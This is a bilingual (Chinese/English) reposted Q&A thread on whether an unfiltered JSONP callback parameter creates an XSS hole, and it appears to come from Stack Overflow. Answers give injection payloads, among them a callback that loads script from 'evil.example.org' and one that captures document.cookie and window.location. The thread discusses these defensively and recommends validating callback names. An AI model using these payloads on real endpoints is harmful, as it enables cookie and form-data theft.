明显的 jsonp xss 漏洞

发布于 2024-12-25 07:09:45 字数 991 浏览 0 评论 0原文

我们的一些客户对我们所有 JSONP 端点中的 XSS 漏洞提出了意见,但我不同意它是否真的构成漏洞。想获得社区的意见以确保我没有遗漏任何东西。

因此,与任何 jsonp 系统一样,我们有一个如下端点:

http://foo.com/jsonp?cb=callback123

cb 参数的值在响应中重放:

callback123({"foo":"bar"});

客户抱怨我们没有过滤掉 CB 参数中的 HTML,因此他们会设计一个示例如下:

http://foo.com/jsonp?cb=<body onload="alert('h4x0rd');"/><!--

显然,对于返回 text/html 内容类型的 URL,这会带来一个问题,即浏览器呈现该 HTML,然后在 onload 处理程序中执行潜在的恶意 JavaScript。可用于窃取 cookie 并将其提交到攻击者的站点,甚至生成用于网络钓鱼的虚假登录屏幕。用户检查域并发现这是他信任的域,因此他开始登录。

但是,在我们的示例中,我们将内容类型标头设置为 application/javascript ,这会导致各种不同的行为在不同的浏览器中。即 Firefox 仅显示原始文本,而 IE 则打开一个“另存为...”对话框。我不认为其中任何一个特别容易被利用。 Firefox 用户不会在阅读告诉他跳桥的恶意文本后多想。 IE 用户可能会对另存为对话框感到困惑并点击取消。

我想我可以看到这样一种情况:IE 用户被欺骗保存并打开 .js 文件,然后该文件通过 microsoft JScript 引擎并获得对用户计算机的各种访问权限;但这似乎不太可能。这是这里最大的威胁还是我错过了其他一些漏洞?

(显然,我将通过放置过滤来“修复”,以仅接受有效的 javascript 标识符,并有一些长度限制,以防万一;但我只是想要一个关于我可能错过的其他威胁的对话框。)

Some of our customers have chimed in about a perceived XSS vulnerability in all of our JSONP endpoints, but I disagree as to whether or not it actually constitutes a vulnerability. Wanted to get the community's opinion to make sure I'm not missing something.

So, as with any jsonp system, we have an endpoint like:

http://foo.com/jsonp?cb=callback123

where the value of the cb parameter is replayed back in the response:

callback123({"foo":"bar"});

Customers have complained that we don't filter out HTML in the CB parameter, so they'll contrive an example like so:

http://foo.com/jsonp?cb=<body onload="alert('h4x0rd');"/><!--

Obviously for a URL that returns the content type of text/html, this poses a problem wherein the browser renders that HTML and then executes the potentially malicious javascript in the onload handler. Could be used to steal cookies and submit them to the attacker's site, or even to generate a fake login screen for phishing. User checks the domain and sees that it's one he trusts, so he goes agead and logs in.

But, in our case, we're setting the content type header to application/javascript which causes various different behaviors in different browsers. i.e. Firefox just displays the raw text, whereas IE opens up a "save as..." dialog. I don't consider either of those to be particularly exploitable. The Firefox user isn't going to read malicious text telling him to jump off a bridge and think much of it. And the IE user is probably going to be confused by the save as dialog and hit cancel.

I guess I could see a case where the IE user is tricked into saving and opening the .js file, which then goes through the microsoft JScript engine and gets all sorts of access to the user's machine; but that seems unlikely. Is that the biggest threat here or is there some other vulnerability that I missed?

(Obviously I'm going to "fix" by putting in filtering to only accept a valid javascript identifier, with some length limit just-in-case; but I just wanted a dialog about what other threats I might have missed.)

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(5

忱杏 2025-01-01 07:09:45

它们的注入必须类似于

pwned

对于您来说,验证 $_GET['callback']< 相对简单/code>(假设 PHP)是有效的 JavaScript 函数名称。

JSONP 的全部意义在于绕过浏览器限制,尝试防止 XSS 类型的漏洞,因此在某种程度上,JSONP 提供者和请求站点之间需要存在信任。

然而,只有当客户端没有巧妙地处理用户输入时,才会出现该漏洞 - 如果他们对所有 JSONP 回调名称进行硬编码,那么就不存在潜在的漏洞。

Their injection would have to be something like </script><h1>pwned</h1>

It would be relatively trivial for you to verify that $_GET['callback'] (assuming PHP) is a valid JavaScript function name.

The whole point of JSONP is getting around browser restrictions that try and prevent XSS-type vulnerabilities, so to some level there needs to be trust between the JSONP provider and the requesting site.

HOWEVER, the vulnerability ONLY appears if the client isn't smartly handling user input - if they hardcode all of their JSONP callback names, then there is no potential for a vulnerability.

離人涙 2025-01-01 07:09:45

如果该回调的名称(“cb”的值)是从其他先前输入的值盲目派生的,那么您的站点将存在 XSS 漏洞。用户可以手动创建一个 URL,通过 JSONP API 发送 JavaScript 并再次返回,这一事实并不比他们可以直接通过浏览器的 JavaScript 控制台运行相同的 JavaScript 更有趣。

现在,如果您的网站要将一些 JSON 内容发送回该回调,该回调使用来自表单的未经过滤的用户输入,或者更隐蔽地从先前在数据库中存储某些内容的其他表单发送回一些 JSON 内容,那么您就会遇到问题。例如,如果您的响应中有一个“评论”字段:

callback123({ "restaurantName": "Dirty Pete's Burgers", "comment": "x"+alert("haxored")+"y" })

那么该评论的值为 x"+alert("haxored")+"y,将是 XSS 攻击。然而,任何好的 JSON 编码器都会通过引用双引号字符来解决这个问题。

也就是说,确保回调名称是有效的 JavaScript 标识符并没有什么坏处。无论如何,您实际上无能为力,因为根据定义,您的公共 JSONP 服务为了正常工作,应该执行客户端页面希望它执行的任何操作。

Your site would have an XSS vulnerability if the name of that callback (the value of "cb") were derived blindly from some other previously-input value. The fact that a user can create a URL manually that sends JavaScript through your JSONP API and back again is no more interesting than the fact that they can run that same JavaScript directly through the browser's JavaScript console.

Now, if your site were to ship back some JSON content to that callback which used unfiltered user input from the form, or more insidiously from some other form that previously stored something in your database, then you'd have a problem. Like, if you had a "Comments" field in your response:

callback123({ "restaurantName": "Dirty Pete's Burgers", "comment": "x"+alert("haxored")+"y" })

then that comment, whose value was x"+alert("haxored")+"y, would be an XSS attack. However any good JSON encoder would fix that by quoting the double-quote characters.

That said, there'd be no harm in ensuring that the callback name is a valid JavaScript identifier. There's really not much else you can do anyway, since by definition your public JSONP service, in order to work properly, is supposed to do whatever the client page wants it to do.

感情废物 2025-01-01 07:09:45

另一个例子是发出两个像这样的请求:

https://example.org/api.php
?callback=$.getScript('//evil.example.org/x.js');var dontcare=(

它将调用:

$.getScript('//evil.example.org/x.js');var dontcare= ({ ... });

和邪恶.example.org/x.js 会请求:

https://example.org/api.php
?callback=new Mothership({cookie:document.cookie, loc: window.location, apidata:

它将调用:

new Mothership({cookie:document.cookie, loc: window.location, apidata: { .. });

可能性是无限的。

请参阅我需要吗清理 JSONP 调用中的回调参数? 查看清理 JSON 回调的示例。

注意:默认情况下,Internet Explorer 往往会忽略 Content-Type 标头。它很顽固,会直接查看 HTTP 响应的前几个字节,如果它看起来有点像 HTML,它将继续将其全部解析为 text/html 并执行,包括内联脚本。

Another example would be making two requests like these:

https://example.org/api.php
?callback=$.getScript('//evil.example.org/x.js');var dontcare=(

which would call:

$.getScript('//evil.example.org/x.js');var dontcare= ({ ... });

And evil.example.org/x.js would request:

https://example.org/api.php
?callback=new Mothership({cookie:document.cookie, loc: window.location, apidata:

which would call:

new Mothership({cookie:document.cookie, loc: window.location, apidata: { .. });

Possibilities are endless.

See Do I need to sanitize the callback parameter from a JSONP call? for an example of sanitizing a JSON callback.

Note: Internet Explorer tends to ignore the Content-Type header by default. It is stubborn, and goes to look at the first few bytes of the HTTP response directly, and if it looks kinda of HTML, it will proceed to parse and execute it all as text/html, including inline scripts.

谜泪 2025-01-01 07:09:45

如果是这样的话,没有什么可以阻止他们做一些插入代码的事情。

想象一下这样的 URL: http://example.com/jsonp?cb=HTMLFormElement.prototype.submit = function() { /* 将表单数据发送到某个第三方服务器 */ };foo 。当客户端收到此消息时,根据您处理 JSONP 的方式,您可能会引入运行任意复杂度的 JS 的能力。

至于这是一个攻击媒介:想象一个 HTTP 代理,它是除 http://example.com/jsonp 之外的所有 URL 的透明转发代理,它接受查询的 cb 部分字符串并在其前面添加一些恶意 JS,然后重定向到该 URL。

There's nothing to stop them from doing something that inserts code, if that is the case.

Imagine a URL such as http://example.com/jsonp?cb=HTMLFormElement.prototype.submit = function() { /* send form data to some third-party server */ };foo. When this gets received by the client, depending on how you handle JSONP, you may introduce the ability to run JS of arbitrary complexity.

As for how this is an attack vector: imagine an HTTP proxy, that is a transparent forwarding proxy for all URLs except http://example.com/jsonp, where it takes the cb part of the query string and prepends some malicious JS before it, and redirects to that URL.

青朷 2025-01-01 07:09:45

正如 Pointy 所指出的,仅直接调用 URL 是无法被利用的。但是,如果您自己的任何 javascript 代码使用用户提供的数据调用 JSON 服务,并呈现文档响应中的值,或者 eval() 响应(无论是现在,或者在未来的某个时候,随着你的应用程序随着时间的推移而发展),那么你就有了一个真正可利用的 XSS 漏洞。

就我个人而言,我仍然认为这是一个低风险漏洞,尽管它今天可能无法利用。为什么不现在就解决这个问题并消除它在未来某个时候引入更高风险漏洞的部分责任的风险呢?

As Pointy indicates, solely calling the URL directly is not exploitable. However, if any of your own javascript code makes calls to the JSON service with user-supplied data and either renders the values in the response to the document, or eval()s the response (whether now, or sometime in the future as your app evolves over time) then you have a genuinely exploitable XSS vulnerability.

Personally I would still consider this a low risk vulnerability, even though it may not be exploitable today. Why not address it now and remove the risk of it being partly responsible for introducing a higher-risk vulnerability at some point in the future?

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文